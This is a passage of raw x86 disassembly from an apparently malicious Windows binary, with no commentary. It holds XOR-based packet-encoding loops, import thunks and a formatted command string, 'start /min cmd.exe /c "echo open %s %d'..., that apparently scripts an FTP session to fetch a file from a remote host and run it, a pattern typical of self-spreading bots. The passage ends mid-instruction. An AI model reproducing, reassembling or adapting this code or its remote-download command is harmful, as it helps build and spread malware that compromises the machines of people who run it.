sub_42F7E0+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_42F7FA pop esi loc_42F827: ; CODE XREF: sub_42F7E0+7j pop edi retn sub_42F7E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F850 proc near ; CODE XREF: sub_42EC30+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_42F89A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_42F86D: ; CODE XREF: sub_42F850+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_42F86D pop edi pop esi loc_42F89A: ; CODE XREF: sub_42F850+7j pop ebp retn sub_42F850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F8C0 proc near ; CODE XREF: sub_42EAC0+4Ep ; sub_42EAC0+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_42F8DC mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_42F8D3: ; CODE XREF: sub_42F8C0+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_42F8D3 loc_42F8DC: ; CODE XREF: sub_42F8C0+7j pop esi retn sub_42F8C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F8F0 proc near ; CODE XREF: sub_42EBA0+60p ; sub_42EC30+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_42F91E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_42F91E: ; CODE XREF: sub_42F8F0+6j retn sub_42F8F0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F930 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_42F94D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_42F943: ; CODE XREF: sub_42F930+1Bj cmp [eax+edx], cl jz short loc_42F951 inc eax cmp eax, esi jl short loc_42F943 loc_42F94D: ; CODE XREF: sub_42F930+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_42F951: ; CODE XREF: sub_42F930+16j pop esi mov al, 1 retn sub_42F930 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: _294ADE7B:004013D4j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call ds:dword_4B3CB0 mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call ds:dword_4B3AB0 mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call ds:dword_4B3AB0 mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, offset dword_43FA8C mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_42FA2C push ebx push ebp call eax add esp, 8 loc_42FA2C: ; CODE XREF: _294ADE7B:0042FA23j push ebx call ds:dword_4B3AB0 mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_42FA6E: ; CODE XREF: _294ADE7B:0042FAE7j push 5Ch push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FAAE push 0 push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FAAE push 0Ah push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FAAE push 0Dh push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jz short loc_42FAE9 loc_42FAAE: ; CODE XREF: _294ADE7B:0042FA7Cj ; _294ADE7B:0042FA8Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_42FAE0 loc_42FAD3: ; CODE XREF: _294ADE7B:0042FADEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_42FAD3 loc_42FAE0: ; CODE XREF: _294ADE7B:0042FAD1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_42FA6E ; --------------------------------------------------------------------------- loc_42FAE9: ; CODE XREF: _294ADE7B:0042FAACj mov eax, [esp+28h] push eax call ds:dword_4B3AAC mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, ds:dword_4B3AAC call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: _294ADE7B:00401C3Aj push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call ds:dword_4B3AB0 mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call ds:dword_4B3AB0 mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, offset dword_43FA8C mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_42FC82 push ebx push ebp call eax add esp, 8 loc_42FC82: ; CODE XREF: _294ADE7B:0042FC79j push ebx call ds:dword_4B3AB0 mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_42FCC4: ; CODE XREF: _294ADE7B:0042FD3Dj push 5Ch push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FD04 push 0 push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FD04 push 0Ah push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FD04 push 0Dh push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jz short loc_42FD3F loc_42FD04: ; CODE XREF: _294ADE7B:0042FCD2j ; _294ADE7B:0042FCE2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_42FD36 loc_42FD29: ; CODE XREF: _294ADE7B:0042FD34j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_42FD29 loc_42FD36: ; CODE XREF: _294ADE7B:0042FD27j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_42FCC4 ; --------------------------------------------------------------------------- loc_42FD3F: ; CODE XREF: _294ADE7B:0042FD02j mov eax, [esp+28h] push eax call ds:dword_4B3AAC mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, ds:dword_4B3AAC call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE30: ; CODE XREF: _294ADE7B:00401E83j mov eax, 200Ch call sub_430390 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h call ds:dword_4B3C18 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call ds:dword_4B3AB0 mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call ds:dword_4B3AB0 mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, offset dword_43FA8C mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_42FF32 push ebx push ebp call eax add esp, 8 loc_42FF32: ; CODE XREF: _294ADE7B:0042FF29j push ebx call ds:dword_4B3AB0 mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_42FF74: ; CODE XREF: _294ADE7B:0042FFEDj push 5Ch push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FFB4 push 0 push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FFB4 push 0Ah push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_42FFB4 push 0Dh push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jz short loc_42FFEF loc_42FFB4: ; CODE XREF: _294ADE7B:0042FF82j ; _294ADE7B:0042FF92j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_42FFE6 loc_42FFD9: ; CODE XREF: _294ADE7B:0042FFE4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_42FFD9 loc_42FFE6: ; CODE XREF: _294ADE7B:0042FFD7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_42FF74 ; --------------------------------------------------------------------------- loc_42FFEF: ; CODE XREF: _294ADE7B:0042FFB2j mov eax, [esp+18h] push eax call ds:dword_4B3AAC mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, ds:dword_4B3AAC call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] ; DATA XREF: _5AD6BD6B:off_43BD8Co pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300F0: ; CODE XREF: _294ADE7B:00401839j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h call ds:dword_4B3AB0 mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call ds:dword_4B3AB0 mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, offset dword_43FA8C mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43016D push ebx push ebp call eax add esp, 8 loc_43016D: ; CODE XREF: _294ADE7B:00430164j push ebx call ds:dword_4B3AB0 mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_4301AF: ; CODE XREF: _294ADE7B:00430228j push 5Ch push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_4301EF push 0 push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_4301EF push 0Ah push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jnz short loc_4301EF push 0Dh push ebx push ebp call sub_4012F3 add esp, 0Ch test al, al jz short loc_43022A loc_4301EF: ; CODE XREF: _294ADE7B:004301BDj ; _294ADE7B:004301CDj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_430221 loc_430214: ; CODE XREF: _294ADE7B:0043021Fj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_430214 loc_430221: ; CODE XREF: _294ADE7B:00430212j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_4301AF ; --------------------------------------------------------------------------- loc_43022A: ; CODE XREF: _294ADE7B:004301EDj mov eax, [esp+18h] push eax call ds:dword_4B3AAC mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, ds:dword_4B3AAC call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4302F8 proc near ; CODE XREF: _294ADE7B:00424817p ; _294ADE7B:00424854p jmp ds:dword_4B3B68 sub_4302F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4302FE proc near ; CODE XREF: _294ADE7B:00424779p jmp ds:dword_4B3B78 sub_4302FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430304 proc near ; CODE XREF: _294ADE7B:004246E1p ; _294ADE7B:0042486Cp ... jmp ds:dword_4B3B74 sub_430304 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43030A proc near ; CODE XREF: _294ADE7B:004246ADp jmp ds:dword_4B3B70 sub_43030A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430310 proc near ; CODE XREF: _294ADE7B:00424688p ; _294ADE7B:004246D0p ... jmp ds:dword_4B3B6C sub_430310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430316 proc near ; CODE XREF: _294ADE7B:004316EBj ; _294ADE7B:00431A65j ... jmp ds:dword_4B3AF4 sub_430316 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430320 proc near ; DATA XREF: _8C6BDE73:off_437004o ; _8C6BDE73:00437018o ... jmp ds:dword_4B3AF0 sub_430320 endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3AEC ; --------------------------------------------------------------------------- jmp ds:dword_4B3AE8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430332 proc near ; CODE XREF: _294ADE7B:00406890p ; sub_4068B0+11p ... jmp ds:dword_4B3AE4 sub_430332 endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3AE0 ; --------------------------------------------------------------------------- jmp ds:dword_4B3ADC ; --------------------------------------------------------------------------- jmp ds:dword_4B3AD8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43034A proc near ; CODE XREF: sub_4068E0+47p ; sub_4068E0+9Ap ... jmp ds:dword_4B3AD4 sub_43034A endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3AD0 ; --------------------------------------------------------------------------- mov eax, ecx mov dword ptr [eax], offset off_437100 retn 4 ; --------------------------------------------------------------------------- loc_430361: ; DATA XREF: _8C6BDE73:off_437100o push esi mov esi, ecx call sub_430716 test byte ptr [esp+8], 1 jz short loc_430377 push esi call sub_430332 pop ecx loc_430377: ; CODE XREF: _294ADE7B:0043036Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430382 proc near ; CODE XREF: _294ADE7B:0040912Dp ; _294ADE7B:0040A4FDp jmp ds:dword_4B3ACC sub_430382 endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3AC8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_430390 proc near ; CODE XREF: sub_409B90+5p ; sub_40EB00+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4303B0 loc_43039C: ; CODE XREF: sub_430390+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_43039C loc_4303B0: ; CODE XREF: sub_430390+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_430390 endp ; --------------------------------------------------------------------------- align 10h jmp ds:dword_4B3AC4 ; --------------------------------------------------------------------------- jmp ds:dword_4B3AC0 ; --------------------------------------------------------------------------- jmp ds:dword_4B3ABC ; --------------------------------------------------------------------------- jmp ds:dword_4B3AB8 ; --------------------------------------------------------------------------- jmp ds:dword_4B3AB4 ; --------------------------------------------------------------------------- jmp ds:dword_4B3AB0 ; =============== S U B R O U T I N E ======================================= sub_4303E4 proc near ; CODE XREF: _294ADE7B:00430414p arg_0 = dword ptr 4 cmp ds:dword_4B2814, 0FFFFFFFFh jnz short loc_4303F9 push [esp+arg_0] call ds:dword_4B3A24 pop ecx retn ; --------------------------------------------------------------------------- loc_4303F9: ; CODE XREF: sub_4303E4+7j push offset dword_4B2804 push offset dword_4B2814 push [esp+8+arg_0] call sub_43071C add esp, 0Ch retn sub_4303E4 endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call sub_4303E4 neg eax sbb eax, eax pop ecx neg eax dec eax retn ; --------------------------------------------------------------------------- jmp ds:dword_4B3AAC ; --------------------------------------------------------------------------- jmp ds:dword_4B3AA8 ; --------------------------------------------------------------------------- jmp ds:dword_4B3AA0 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A9C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43043A proc near ; CODE XREF: sub_417F90+28p jmp ds:dword_4B3A98 sub_43043A endp ; =============== S U B R O U T I N E ======================================= sub_430440 proc near ; CODE XREF: sub_419EF0+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_430461 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4304B1 ; --------------------------------------------------------------------------- loc_430461: ; CODE XREF: sub_430440+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43046F: ; CODE XREF: sub_430440+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43046F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43049A cmp edx, [esp+4+arg_4] ja short loc_43049A jb short loc_4304A2 cmp eax, [esp+4+arg_0] jbe short loc_4304A2 loc_43049A: ; CODE XREF: sub_430440+4Aj ; sub_430440+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4304A2: ; CODE XREF: sub_430440+52j ; sub_430440+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4304B1: ; CODE XREF: sub_430440+1Fj pop ebx retn 10h sub_430440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4304C0 proc near ; CODE XREF: sub_419EF0+30p ; sub_419EF0+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4304E2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_430523 ; --------------------------------------------------------------------------- loc_4304E2: ; CODE XREF: sub_4304C0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4304F0: ; CODE XREF: sub_4304C0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4304F0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_43051E cmp edx, [esp+8+arg_4] ja short loc_43051E jb short loc_43051F cmp eax, [esp+8+arg_0] jbe short loc_43051F loc_43051E: ; CODE XREF: sub_4304C0+4Ej ; sub_4304C0+54j dec esi loc_43051F: ; CODE XREF: sub_4304C0+56j ; sub_4304C0+5Cj xor edx, edx mov eax, esi loc_430523: ; CODE XREF: sub_4304C0+20j pop esi pop ebx retn 10h sub_4304C0 endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3A94 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A90 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A8C ; --------------------------------------------------------------------------- jmp ds:dword_4B3A88 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A84 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A80 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A7C ; --------------------------------------------------------------------------- jmp ds:dword_4B3A78 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A74 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A70 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A6C ; --------------------------------------------------------------------------- jmp ds:dword_4B3A64 ; --------------------------------------------------------------------------- jmp ds:dword_4B3B04 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A58 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A54 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A50 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A4C ; --------------------------------------------------------------------------- jmp ds:dword_4B3A48 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A44 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A40 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A3C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4305A6 proc near ; CODE XREF: sub_42BFB0+37p ; sub_42E070+39p jmp ds:dword_4B3A38 sub_4305A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4305AC proc near ; CODE XREF: _294ADE7B:0042C82Cp jmp ds:dword_4B3A34 sub_4305AC endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3A30 ; --------------------------------------------------------------------------- dd 74E8D0A1h, 870E1D3Ah, 0E8D0A143h, 9E3D7AF4h, 0A953A74Fh dd 0CA952A54h, 3C79F2E5h, 93274F9Eh, 89122449h, 2851A244h dd 12254A94h, 0F815FF89h, 59004B39h, 28040D83h, 83FF004Bh dd 4B28140Dh, 15FFFF00h, 4B39FCh, 270C0D8Bh, 889004Bh dd 3A0015FFh, 0D8B004Bh, 4B2708h, 8A10889h, 8B004B3Ah dd 27F8A300h, 2EE8004Bh, 39000001h, 43FBB01Dh, 680C7500h dd 430752h, 3A0C15FFh, 0E859004Bh, 0FAh, 43B41868h, 0B3146800h dd 0E5E80043h, 0A1000000h, 4B2704h, 8D944589h, 0FF509445h dd 4B270035h, 9C458D00h, 90458D50h, 0A0458D50h, 1415FF50h dd 68004B3Ah, 43B210h, 43B00068h, 0B2E800h, 0C4830000h dd 3A18A124h, 308B004Bh, 808C7589h, 3A75223Eh, 8C758946h dd 0C33A068Ah, 223C0474h, 3E80F275h, 46047522h, 8A8C7589h dd 74C33A06h, 76203C04h, 0D05D89F2h, 50A4458Dh, 37E815FFh dd 45F6004Bh, 117401D0h, 0D445B70Fh, 3E800EEBh, 46D87620h dd 0EB8C7589h, 580A6AF5h, 53535650h, 38C015FFh, 0E850004Bh dd 0FFFD169Dh, 50984589h, 3AB815FFh, 458B004Bh, 8B088BECh dd 884D8909h, 21E85150h, 59000000h, 658BC359h, 8875FFE8h dd 3A2015FFh db 4Bh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430716 proc near ; CODE XREF: _294ADE7B:00430364p jmp ds:dword_4B3A2C sub_430716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43071C proc near ; CODE XREF: sub_4303E4+23p jmp ds:dword_4B3A28 sub_43071C endp ; --------------------------------------------------------------------------- jmp ds:dword_4B3A20 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A1C ; --------------------------------------------------------------------------- jmp ds:dword_4B3A14 ; --------------------------------------------------------------------------- jmp ds:dword_4B3A10 ; --------------------------------------------------------------------------- push 30000h push 10000h call sub_43076E pop ecx pop ecx retn ; --------------------------------------------------------------------------- jmp ds:dword_4B3A0C ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp ds:dword_4B3A00 ; --------------------------------------------------------------------------- jmp 